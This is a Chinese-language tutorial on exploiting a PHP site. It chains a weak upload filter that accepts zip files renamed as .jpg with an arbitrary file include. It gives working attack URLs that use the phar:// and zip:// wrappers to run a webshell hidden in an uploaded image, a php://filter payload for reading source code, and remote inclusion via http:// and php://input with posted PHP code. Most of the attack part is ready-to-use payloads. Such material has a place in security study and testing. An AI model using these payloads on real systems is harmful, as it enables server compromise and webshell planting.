php文件包含+伪协议+文件上传漏洞利用实例

1.上传文件过滤了后缀名和MIME类型，$_FILES['pic']['type']是由浏览器传输的文件类型决定，但是mime_content_type()是由php
内置方法判断文件类型；        
支持文件类型为application/zip,支持上传zip压缩文件，后缀名还是要改成.jpg或.gif,上传后将该名为随机数字(1499394959).jpg格式

$name1=substr($name,-4);
if(($name1!==".gif") and ($name1!==".jpg"))
{
    echo "<script language=javascript>alert('上传照片只能是JPG或者GIF！');history.go(-1)</script>";
    exit;
}
if(mime_content_type($tmpName)!=="image/jpeg"&&mime_content_type($tmpName)!=="image/gif"&&mime_content_type($tmpName)!=="application/zip")
{
    echo mime_content_type($tmpName);
    echo "<script language=javascript>alert('上传照片只能是JPG或者GIF！');history.go(-1)</script>";
    exit;
}

2.任意文件包含    

$f = $_GET['f'];
include_once('sys/config.php');
include($f);
       

利用zip或phar伪协议读取压缩包中的文件
/about.php?f=phar://./images/1499394959.jpg/1.php
/about.php?f=zip://./images/1499394959.jpg%231.php    

上传webshell完成

扩展：

php伪协议：

 
 

  
  file:
  
  // — 访问本地文件系统
 
 
 
 

  
  http:
  
  // — 访问 HTTP(s) 网址
 
 
 
 

  
  ftp:
  
  // — 访问 FTP(s) URLs
 
 
 
 

  
  php:
  
  // — 访问各个输入/输出流（I/O streams）
 
 
 
 

  
  zlib:
  
  // — 压缩流
 
 
 
 

  
  data:
  
  // — 数据（RFC 2397）
 
 
 
 

  
  glob:
  
  // — 查找匹配的文件路径模式
 
 
 
 

  
  phar:
  
  // — PHP 归档
 
 
 
 

  
  ssh2:
  
  // — Secure Shell 2
 
 
 
 

  
  rar:
  
  // — RAR
 
 
 
 

  
  ogg:
  
  // — 音频流
 
 
 
 

  
  expect:
  
  // — 处理交互式的流
 
 

读取页面源代码
/about.php?f=php://filter/convert.base64-encode/resource=index.php
以base64加密的形式读取页面源代码，然后在再对代码进行base64解密就可以得到源代码

当php配置allow_url_include和allow_url_fopen都为On的时候，可以对文件进行远程包含
例如:about.php?f=http://web/1.php
当allow_url_include为On，而allow_url_fopen为Off的是否，不可以直接远程包含文件，但是可以使用php://input、 php://stdin、 php://memory 和 php://temp等伪协议
例如about.php?f=php://input  post传输数据<?php phpinfo(); ?>